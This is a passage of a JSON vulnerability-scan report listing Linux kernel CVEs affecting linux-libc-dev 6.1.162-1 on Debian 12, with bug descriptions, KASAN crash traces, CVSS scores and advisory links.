__refcount_inc include/linux/refcount.h:241 [inline]\n refcount_inc include/linux/refcount.h:258 [inline]\n get_task_struct include/linux/sched/task.h:118 [inline]\n kthread_stop+0xca/0x630 kernel/kthread.c:704\n f2fs_stop_gc_thread+0x65/0xb0 fs/f2fs/gc.c:210\n f2fs_do_shutdown+0x192/0x540 fs/f2fs/file.c:2283\n f2fs_ioc_shutdown fs/f2fs/file.c:2325 [inline]\n __f2fs_ioctl+0x443a/0xbe60 fs/f2fs/file.c:4325\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:907 [inline]\n __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:893\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nThe root cause is below race condition, it may cause use-after-free\nissue in sbi-\u003egc_th pointer.\n\n- remount\n - f2fs_remount\n - f2fs_stop_gc_thread\n - kfree(gc_th)\n\t\t\t\t- f2fs_ioc_shutdown\n\t\t\t\t - f2fs_do_shutdown\n\t\t\t\t - f2fs_stop_gc_thread\n\t\t\t\t - kthread_stop(gc_th-\u003ef2fs_gc_task)\n : sbi-\u003egc_thread = NULL;\n\nWe will call f2fs_do_shutdown() in two paths:\n- for f2fs_ioc_shutdown() path, we should grab sb-\u003es_umount semaphore\nfor fixing.\n- for f2fs_shutdown() path, it's safe since caller has already grabbed\nsb-\u003es_umount semaphore.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-47691", "https://git.kernel.org/linus/c7f114d864ac91515bb07ac271e9824a20f5ed95%20%286.12-rc1%29", "https://git.kernel.org/stable/c/7c339dee7eb0f8e4cadc317c595f898ef04dae30", "https://git.kernel.org/stable/c/c7f114d864ac91515bb07ac271e9824a20f5ed95", "https://git.kernel.org/stable/c/d79343cd66343709e409d96b2abb139a0a55ce34", "https://git.kernel.org/stable/c/fc18e655b62ac6bc9f12f5de0d749b4a3fe1e812", "https://lore.kernel.org/linux-cve-announce/2024102111-CVE-2024-47691-ab21@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-47691", "https://ubuntu.com/security/notices/USN-7276-1", "https://ubuntu.com/security/notices/USN-7277-1", "https://ubuntu.com/security/notices/USN-7301-1", "https://ubuntu.com/security/notices/USN-7303-1", "https://ubuntu.com/security/notices/USN-7303-2", "https://ubuntu.com/security/notices/USN-7303-3", "https://ubuntu.com/security/notices/USN-7304-1", "https://ubuntu.com/security/notices/USN-7310-1", "https://ubuntu.com/security/notices/USN-7311-1", "https://ubuntu.com/security/notices/USN-7384-1", "https://ubuntu.com/security/notices/USN-7384-2", "https://ubuntu.com/security/notices/USN-7385-1", "https://ubuntu.com/security/notices/USN-7386-1", "https://ubuntu.com/security/notices/USN-7403-1", "https://ubuntu.com/security/notices/USN-7468-1", "https://ubuntu.com/security/notices/USN-7922-1", "https://ubuntu.com/security/notices/USN-7922-2", "https://ubuntu.com/security/notices/USN-7922-3", "https://ubuntu.com/security/notices/USN-7922-4", "https://ubuntu.com/security/notices/USN-7922-5", "https://ubuntu.com/security/notices/USN-7928-1", "https://ubuntu.com/security/notices/USN-7928-2", "https://ubuntu.com/security/notices/USN-7928-3", "https://ubuntu.com/security/notices/USN-7928-4", "https://ubuntu.com/security/notices/USN-7928-5", "https://ubuntu.com/security/notices/USN-7938-1", "https://ubuntu.com/security/notices/USN-7939-1", "https://ubuntu.com/security/notices/USN-7939-2", "https://www.cve.org/CVERecord?id=CVE-2024-47691" ], "PublishedDate": "2024-10-21T12:15:05.88Z", "LastModifiedDate": "2026-06-17T07:57:33.04Z" }, { "VulnerabilityID": "CVE-2024-50029", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-50029", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1355db7b57bb21529088278887488a22bf8234e0649a6c4eda08ad2645214e86", "Title": "kernel: Bluetooth: hci_conn: Fix UAF in hci_enhanced_setup_sync", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_conn: Fix UAF in hci_enhanced_setup_sync\n\nThis checks if the ACL connection remains valid as it could be destroyed\nwhile hci_enhanced_setup_sync is pending on cmd_sync leading to the\nfollowing trace:\n\nBUG: KASAN: slab-use-after-free in hci_enhanced_setup_sync+0x91b/0xa60\nRead of size 1 at addr ffff888002328ffd by task kworker/u5:2/37\n\nCPU: 0 UID: 0 PID: 37 Comm: kworker/u5:2 Not tainted 6.11.0-rc6-01300-g810be445d8d6 #7099\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-2.fc40 04/01/2014\nWorkqueue: hci0 hci_cmd_sync_work\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x5d/0x80\n ? hci_enhanced_setup_sync+0x91b/0xa60\n print_report+0x152/0x4c0\n ? hci_enhanced_setup_sync+0x91b/0xa60\n ? __virt_addr_valid+0x1fa/0x420\n ? hci_enhanced_setup_sync+0x91b/0xa60\n kasan_report+0xda/0x1b0\n ? hci_enhanced_setup_sync+0x91b/0xa60\n hci_enhanced_setup_sync+0x91b/0xa60\n ? __pfx_hci_enhanced_setup_sync+0x10/0x10\n ? __pfx___mutex_lock+0x10/0x10\n hci_cmd_sync_work+0x1c2/0x330\n process_one_work+0x7d9/0x1360\n ? __pfx_lock_acquire+0x10/0x10\n ? __pfx_process_one_work+0x10/0x10\n ? assign_work+0x167/0x240\n worker_thread+0x5b7/0xf60\n ? __kthread_parkme+0xac/0x1c0\n ? __pfx_worker_thread+0x10/0x10\n ? __pfx_worker_thread+0x10/0x10\n kthread+0x293/0x360\n ? __pfx_kthread+0x10/0x10\n ret_from_fork+0x2f/0x70\n ? __pfx_kthread+0x10/0x10\n ret_from_fork_asm+0x1a/0x30\n \u003c/TASK\u003e\n\nAllocated by task 34:\n kasan_save_stack+0x30/0x50\n kasan_save_track+0x14/0x30\n __kasan_kmalloc+0x8f/0xa0\n __hci_conn_add+0x187/0x17d0\n hci_connect_sco+0x2e1/0xb90\n sco_sock_connect+0x2a2/0xb80\n __sys_connect+0x227/0x2a0\n __x64_sys_connect+0x6d/0xb0\n do_syscall_64+0x71/0x140\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nFreed by task 37:\n kasan_save_stack+0x30/0x50\n kasan_save_track+0x14/0x30\n kasan_save_free_info+0x3b/0x60\n __kasan_slab_free+0x101/0x160\n kfree+0xd0/0x250\n device_release+0x9a/0x210\n kobject_put+0x151/0x280\n hci_conn_del+0x448/0xbf0\n hci_abort_conn_sync+0x46f/0x980\n hci_cmd_sync_work+0x1c2/0x330\n process_one_work+0x7d9/0x1360\n worker_thread+0x5b7/0xf60\n kthread+0x293/0x360\n ret_from_fork+0x2f/0x70\n ret_from_fork_asm+0x1a/0x30", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-50029", "https://git.kernel.org/linus/18fd04ad856df07733f5bb07e7f7168e7443d393%20%286.12-rc3%29", "https://git.kernel.org/stable/c/18fd04ad856df07733f5bb07e7f7168e7443d393", "https://git.kernel.org/stable/c/867639300759e3e1c5b1e1a5ff89231f263a32a7", "https://git.kernel.org/stable/c/98ccd44002d88cbf4edfc4480df532a3da5a013e", "https://git.kernel.org/stable/c/9b666a0490379c860eab380dec19a864c0bc256b", "https://linux.oracle.com/cve/CVE-2024-50029.html", "https://linux.oracle.com/errata/ELSA-2025-6966.html", "https://lore.kernel.org/linux-cve-announce/2024102130-CVE-2024-50029-8df2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-50029", "https://ubuntu.com/security/notices/USN-7276-1", "https://ubuntu.com/security/notices/USN-7277-1", "https://ubuntu.com/security/notices/USN-7310-1", "https://ubuntu.com/security/notices/USN-7383-1", "https://ubuntu.com/security/notices/USN-7383-2", "https://ubuntu.com/security/notices/USN-7384-1", "https://ubuntu.com/security/notices/USN-7384-2", "https://ubuntu.com/security/notices/USN-7385-1", "https://ubuntu.com/security/notices/USN-7386-1", "https://ubuntu.com/security/notices/USN-7403-1", "https://ubuntu.com/security/notices/USN-7451-1", "https://ubuntu.com/security/notices/USN-7468-1", "https://ubuntu.com/security/notices/USN-7523-1", "https://ubuntu.com/security/notices/USN-7524-1", "https://www.cve.org/CVERecord?id=CVE-2024-50029" ], "PublishedDate": "2024-10-21T20:15:16.227Z", "LastModifiedDate": "2026-09-14T12:17:33.67Z" }, { "VulnerabilityID": "CVE-2024-50217", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-50217", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fc0c86ae58b3c3b77b685ed61163bd8476b1428c83480ec156c8adef1e80004b", "Title": "kernel: btrfs: fix use-after-free of block device file in __btrfs_free_extra_devids()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix use-after-free of block device file in __btrfs_free_extra_devids()\n\nMounting btrfs from two images (which have the same one fsid and two\ndifferent dev_uuids) in certain executing order may trigger an UAF for\nvariable 'device-\u003ebdev_file' in __btrfs_free_extra_devids(). And\nfollowing are the details:\n\n1. Attach image_1 to loop0, attach image_2 to loop1, and scan btrfs\n devices by ioctl(BTRFS_IOC_SCAN_DEV):\n\n / btrfs_device_1 → loop0\n fs_device\n \\ btrfs_device_2 → loop1\n2. mount /dev/loop0 /mnt\n btrfs_open_devices\n btrfs_device_1-\u003ebdev_file = btrfs_get_bdev_and_sb(loop0)\n btrfs_device_2-\u003ebdev_file = btrfs_get_bdev_and_sb(loop1)\n btrfs_fill_super\n open_ctree\n fail: btrfs_close_devices // -ENOMEM\n\t btrfs_close_bdev(btrfs_device_1)\n fput(btrfs_device_1-\u003ebdev_file)\n\t // btrfs_device_1-\u003ebdev_file is freed\n\t btrfs_close_bdev(btrfs_device_2)\n fput(btrfs_device_2-\u003ebdev_file)\n\n3. mount /dev/loop1 /mnt\n btrfs_open_devices\n btrfs_get_bdev_and_sb(\u0026bdev_file)\n // EIO, btrfs_device_1-\u003ebdev_file is not assigned,\n // which points to a freed memory area\n btrfs_device_2-\u003ebdev_file = btrfs_get_bdev_and_sb(loop1)\n btrfs_fill_super\n open_ctree\n btrfs_free_extra_devids\n if (btrfs_device_1-\u003ebdev_file)\n fput(btrfs_device_1-\u003ebdev_file) // UAF !\n\nFix it by setting 'device-\u003ebdev_file' as 'NULL' after closing the\nbtrfs_device in btrfs_close_one_device().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2025/04/10/4", "http://www.openwall.com/lists/oss-security/2025/04/10/5", "http://www.openwall.com/lists/oss-security/2025/04/10/6", "https://access.redhat.com/security/cve/CVE-2024-50217", "https://git.kernel.org/linus/aec8e6bf839101784f3ef037dcdb9432c3f32343%20%286.12-rc6%29", "https://git.kernel.org/stable/c/47a83f8df39545f3f552bb6a1b6d9c30e37621dd", "https://git.kernel.org/stable/c/aec8e6bf839101784f3ef037dcdb9432c3f32343", "https://lore.kernel.org/linux-cve-announce/2024110924-CVE-2024-50217-2815@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-50217", "https://ubuntu.com/security/notices/USN-7276-1", "https://ubuntu.com/security/notices/USN-7277-1", "https://ubuntu.com/security/notices/USN-7310-1", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2024-50217" ], "PublishedDate": "2024-11-09T11:15:07.103Z", "LastModifiedDate": "2026-08-04T11:21:33.953Z" }, { "VulnerabilityID": "CVE-2024-50226", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-50226", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c62c9e000314b3122e12e1b6f78dca6401ffae84e376bd9237b7ab0306532923", "Title": "kernel: cxl/port: Fix use-after-free, permit out-of-order decoder shutdown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl/port: Fix use-after-free, permit out-of-order decoder shutdown\n\nIn support of investigating an initialization failure report [1],\ncxl_test was updated to register mock memory-devices after the mock\nroot-port/bus device had been registered. That led to cxl_test crashing\nwith a use-after-free bug with the following signature:\n\n cxl_port_attach_region: cxl region3: cxl_host_bridge.0:port3 decoder3.0 add: mem0:decoder7.0 @ 0 next: cxl_switch_uport.0 nr_eps: 1 nr_targets: 1\n cxl_port_attach_region: cxl region3: cxl_host_bridge.0:port3 decoder3.0 add: mem4:decoder14.0 @ 1 next: cxl_switch_uport.0 nr_eps: 2 nr_targets: 1\n cxl_port_setup_targets: cxl region3: cxl_switch_uport.0:port6 target[0] = cxl_switch_dport.0 for mem0:decoder7.0 @ 0\n1) cxl_port_setup_targets: cxl region3: cxl_switch_uport.0:port6 target[1] = cxl_switch_dport.4 for mem4:decoder14.0 @ 1\n [..]\n cxld_unregister: cxl decoder14.0:\n cxl_region_decode_reset: cxl_region region3:\n mock_decoder_reset: cxl_port port3: decoder3.0 reset\n2) mock_decoder_reset: cxl_port port3: decoder3.0: out of order reset, expected decoder3.1\n cxl_endpoint_decoder_release: cxl decoder14.0:\n [..]\n cxld_unregister: cxl decoder7.0:\n3) cxl_region_decode_reset: cxl_region region3:\n Oops: general protection fault, probably for non-canonical address 0x6b6b6b6b6b6b6bc3: 0000 [#1] PREEMPT SMP PTI\n [..]\n RIP: 0010:to_cxl_port+0x8/0x60 [cxl_core]\n [..]\n Call Trace:\n \u003cTASK\u003e\n cxl_region_decode_reset+0x69/0x190 [cxl_core]\n cxl_region_detach+0xe8/0x210 [cxl_core]\n cxl_decoder_kill_region+0x27/0x40 [cxl_core]\n cxld_unregister+0x5d/0x60 [cxl_core]\n\nAt 1) a region has been established with 2 endpoint decoders (7.0 and\n14.0). Those endpoints share a common switch-decoder in the topology\n(3.0). At teardown, 2), decoder14.0 is the first to be removed and hits\nthe \"out of order reset case\" in the switch decoder. The effect though\nis that region3 cleanup is aborted leaving it in-tact and\nreferencing decoder14.0. At 3) the second attempt to teardown region3\ntrips over the stale decoder14.0 object which has long since been\ndeleted.\n\nThe fix here is to recognize that the CXL specification places no\nmandate on in-order shutdown of switch-decoders, the driver enforces\nin-order allocation, and hardware enforces in-order commit. So, rather\nthan fail and leave objects dangling, always remove them.\n\nIn support of making cxl_region_decode_reset() always succeed,\ncxl_region_invalidate_memregion() failures are turned into warnings.\nCrashing the kernel is ok there since system integrity is at risk if\ncaches cannot be managed around physical address mutation events like\nCXL region destruction.\n\nA new device_for_each_child_reverse_from() is added to cleanup\nport-\u003ecommit_end after all dependent decoders have been disabled. In\nother words if decoders are allocated 0-\u003e1-\u003e2 and disabled 1-\u003e2-\u003e0 then\nport-\u003ecommit_end only decrements from 2 after 2 has been disabled, and\nit decrements all the way to zero since 1 was disabled previously.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 2, "nvd": 3, "oracle-oval": 2, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2024:10274", "https://access.redhat.com/security/cve/CVE-2024-50226", "https://bugzilla.redhat.com/2298412", "https://bugzilla.redhat.com/2324876", "https://errata.almalinux.org/9/ALSA-2024-10274.html", "https://git.kernel.org/linus/101c268bd2f37e965a5468353e62d154db38838e%20%286.12-rc6%29", "https://git.kernel.org/stable/c/101c268bd2f37e965a5468353e62d154db38838e", "https://git.kernel.org/stable/c/3ecd2b229f5e42b36b5acf0e82510a70a632f041", "https://git.kernel.org/stable/c/78c8454fdce0eeee962be004eb6d99860c80dad1", "https://git.kernel.org/stable/c/8e1b52c15c81106456437f8e49575040e489e355", "https://linux.oracle.com/cve/CVE-2024-50226.html", "https://linux.oracle.com/errata/ELSA-2024-10274.html", "https://lore.kernel.org/linux-cve-announce/2024110928-CVE-2024-50226-4350@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-50226", "https://ubuntu.com/security/notices/USN-7276-1", "https://ubuntu.com/security/notices/USN-7277-1", "https://ubuntu.com/security/notices/USN-7310-1", "https://ubuntu.com/security/notices/USN-7449-1", "https://ubuntu.com/security/notices/USN-7449-2", "https://ubuntu.com/security/notices/USN-7450-1", "https://ubuntu.com/security/notices/USN-7451-1", "https://ubuntu.com/security/notices/USN-7452-1", "https://ubuntu.com/security/notices/USN-7453-1", "https://ubuntu.com/security/notices/USN-7468-1", "https://ubuntu.com/security/notices/USN-7523-1", "https://ubuntu.com/security/notices/USN-7524-1", "https://www.cve.org/CVERecord?id=CVE-2024-50226" ], "PublishedDate": "2024-11-09T11:15:08.117Z", "LastModifiedDate": "2026-10-30T13:17:40.71Z" }, { "VulnerabilityID": "CVE-2024-50282", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-50282", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1192f0e21ecc62ba13bfc0e4fa19dc63a1fb9aa1361e823a73fe6b6472f74266", "Title": "kernel: drm/amdgpu: add missing size check in amdgpu_debugfs_gprwave_read()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: add missing size check in amdgpu_debugfs_gprwave_read()\n\nAvoid a possible buffer overflow if size is larger than 4K.\n\n(cherry picked from commit f5d873f5825b40d886d03bd2aede91d4cf002434)", "Severity": "HIGH", "CweIDs": [ "CWE-120" ], "VendorSeverity": { "azure": 3, "cbl-mariner": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-50282", "https://git.kernel.org/linus/4d75b9468021c73108b4439794d69e892b1d24e3%20%286.12-rc7%29", "https://git.kernel.org/stable/c/17f5f18085acb5e9d8d13d84a4e12bb3aff2bd64", "https://git.kernel.org/stable/c/25d7e84343e1235b667cf5226c3934fdf36f0df6", "https://git.kernel.org/stable/c/2faaee36e6e30f9efc7fa6bcb0bdcbe05c23f51f", "https://git.kernel.org/stable/c/4d75b9468021c73108b4439794d69e892b1d24e3", "https://git.kernel.org/stable/c/673bdb4200c092692f83b5f7ba3df57021d52d29", "https://git.kernel.org/stable/c/7ccd781794d247589104a791caab491e21218fba", "https://git.kernel.org/stable/c/8906728f2fbd6504cb488f4afdd66af28f330a7a", "https://git.kernel.org/stable/c/aaf6160a4b7f9ee3cd91aa5b3251f5dbe2170f42", "https://linux.oracle.com/cve/CVE-2024-50282.html", "https://linux.oracle.com/errata/ELSA-2025-6966.html", "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html", "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html", "https://lore.kernel.org/linux-cve-announce/2024111943-CVE-2024-50282-1579@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-50282", "https://ubuntu.com/security/notices/USN-7276-1", "https://ubuntu.com/security/notices/USN-7277-1", "https://ubuntu.com/security/notices/USN-7288-1", "https://ubuntu.com/security/notices/USN-7288-2", "https://ubuntu.com/security/notices/USN-7289-1", "https://ubuntu.com/security/notices/USN-7289-2", "https://ubuntu.com/security/notices/USN-7289-3", "https://ubuntu.com/security/notices/USN-7289-4", "https://ubuntu.com/security/notices/USN-7291-1", "https://ubuntu.com/security/notices/USN-7293-1", "https://ubuntu.com/security/notices/USN-7294-1", "https://ubuntu.com/security/notices/USN-7294-2", "https://ubuntu.com/security/notices/USN-7294-3", "https://ubuntu.com/security/notices/USN-7294-4", "https://ubuntu.com/security/notices/USN-7295-1", "https://ubuntu.com/security/notices/USN-7305-1", "https://ubuntu.com/security/notices/USN-7308-1", "https://ubuntu.com/security/notices/USN-7310-1", "https://ubuntu.com/security/notices/USN-7331-1", "https://ubuntu.com/security/notices/USN-7388-1", "https://ubuntu.com/security/notices/USN-7389-1", "https://ubuntu.com/security/notices/USN-7390-1", "https://ubuntu.com/security/notices/USN-7393-1", "https://ubuntu.com/security/notices/USN-7401-1", "https://ubuntu.com/security/notices/USN-7413-1", "https://ubuntu.com/security/notices/USN-7449-1", "https://ubuntu.com/security/notices/USN-7449-2", "https://ubuntu.com/security/notices/USN-7450-1", "https://ubuntu.com/security/notices/USN-7451-1", "https://ubuntu.com/security/notices/USN-7452-1", "https://ubuntu.com/security/notices/USN-7453-1", "https://ubuntu.com/security/notices/USN-7458-1", "https://ubuntu.com/security/notices/USN-7468-1", "https://ubuntu.com/security/notices/USN-7523-1", "https://ubuntu.com/security/notices/USN-7524-1", "https://ubuntu.com/security/notices/USN-7539-1", "https://ubuntu.com/security/notices/USN-7540-1", "https://www.cve.org/CVERecord?id=CVE-2024-50282" ], "PublishedDate": "2024-11-19T02:16:30.54Z", "LastModifiedDate": "2026-06-17T08:04:07.087Z" }, { "VulnerabilityID": "CVE-2024-53068", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-53068", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:02ee87f6baf56db38464847d80b7cddd1187e308bfb4a39b9ce99943f7ca7f68", "Title": "kernel: firmware: arm_scmi: Fix slab-use-after-free in scmi_bus_notifier()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfirmware: arm_scmi: Fix slab-use-after-free in scmi_bus_notifier()\n\nThe scmi_dev-\u003ename is released prematurely in __scmi_device_destroy(),\nwhich causes slab-use-after-free when accessing scmi_dev-\u003ename in\nscmi_bus_notifier(). So move the release of scmi_dev-\u003ename to\nscmi_device_release() to avoid slab-use-after-free.\n\n | BUG: KASAN: slab-use-after-free in strncmp+0xe4/0xec\n | Read of size 1 at addr ffffff80a482bcc0 by task swapper/0/1\n |\n | CPU: 1 PID: 1 Comm: swapper/0 Not tainted 6.6.38-debug #1\n | Hardware name: Qualcomm Technologies, Inc. SA8775P Ride (DT)\n | Call trace:\n | dump_backtrace+0x94/0x114\n | show_stack+0x18/0x24\n | dump_stack_lvl+0x48/0x60\n | print_report+0xf4/0x5b0\n | kasan_report+0xa4/0xec\n | __asan_report_load1_noabort+0x20/0x2c\n | strncmp+0xe4/0xec\n | scmi_bus_notifier+0x5c/0x54c\n | notifier_call_chain+0xb4/0x31c\n | blocking_notifier_call_chain+0x68/0x9c\n | bus_notify+0x54/0x78\n | device_del+0x1bc/0x840\n | device_unregister+0x20/0xb4\n | __scmi_device_destroy+0xac/0x280\n | scmi_device_destroy+0x94/0xd0\n | scmi_chan_setup+0x524/0x750\n | scmi_probe+0x7fc/0x1508\n | platform_probe+0xc4/0x19c\n | really_probe+0x32c/0x99c\n | __driver_probe_device+0x15c/0x3c4\n | driver_probe_device+0x5c/0x170\n | __driver_attach+0x1c8/0x440\n | bus_for_each_dev+0xf4/0x178\n | driver_attach+0x3c/0x58\n | bus_add_driver+0x234/0x4d4\n | driver_register+0xf4/0x3c0\n | __platform_driver_register+0x60/0x88\n | scmi_driver_init+0xb0/0x104\n | do_one_initcall+0xb4/0x664\n | kernel_init_freeable+0x3c8/0x894\n | kernel_init+0x24/0x1e8\n | ret_from_fork+0x10/0x20\n |\n | Allocated by task 1:\n | kasan_save_stack+0x2c/0x54\n | kasan_set_track+0x2c/0x40\n | kasan_save_alloc_info+0x24/0x34\n | __kasan_kmalloc+0xa0/0xb8\n | __kmalloc_node_track_caller+0x6c/0x104\n | kstrdup+0x48/0x84\n | kstrdup_const+0x34/0x40\n | __scmi_device_create.part.0+0x8c/0x408\n | scmi_device_create+0x104/0x370\n | scmi_chan_setup+0x2a0/0x750\n | scmi_probe+0x7fc/0x1508\n | platform_probe+0xc4/0x19c\n | really_probe+0x32c/0x99c\n | __driver_probe_device+0x15c/0x3c4\n | driver_probe_device+0x5c/0x170\n | __driver_attach+0x1c8/0x440\n | bus_for_each_dev+0xf4/0x178\n | driver_attach+0x3c/0x58\n | bus_add_driver+0x234/0x4d4\n | driver_register+0xf4/0x3c0\n | __platform_driver_register+0x60/0x88\n | scmi_driver_init+0xb0/0x104\n | do_one_initcall+0xb4/0x664\n | kernel_init_freeable+0x3c8/0x894\n | kernel_init+0x24/0x1e8\n | ret_from_fork+0x10/0x20\n |\n | Freed by task 1:\n | kasan_save_stack+0x2c/0x54\n | kasan_set_track+0x2c/0x40\n | kasan_save_free_info+0x38/0x5c\n | __kasan_slab_free+0xe8/0x164\n | __kmem_cache_free+0x11c/0x230\n | kfree+0x70/0x130\n | kfree_const+0x20/0x40\n | __scmi_device_destroy+0x70/0x280\n | scmi_device_destroy+0x94/0xd0\n | scmi_chan_setup+0x524/0x750\n | scmi_probe+0x7fc/0x1508\n | platform_probe+0xc4/0x19c\n | really_probe+0x32c/0x99c\n | __driver_probe_device+0x15c/0x3c4\n | driver_probe_device+0x5c/0x170\n | __driver_attach+0x1c8/0x440\n | bus_for_each_dev+0xf4/0x178\n | driver_attach+0x3c/0x58\n | bus_add_driver+0x234/0x4d4\n | driver_register+0xf4/0x3c0\n | __platform_driver_register+0x60/0x88\n | scmi_driver_init+0xb0/0x104\n | do_one_initcall+0xb4/0x664\n | kernel_init_freeable+0x3c8/0x894\n | kernel_init+0x24/0x1e8\n | ret_from_fork+0x10/0x20", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, 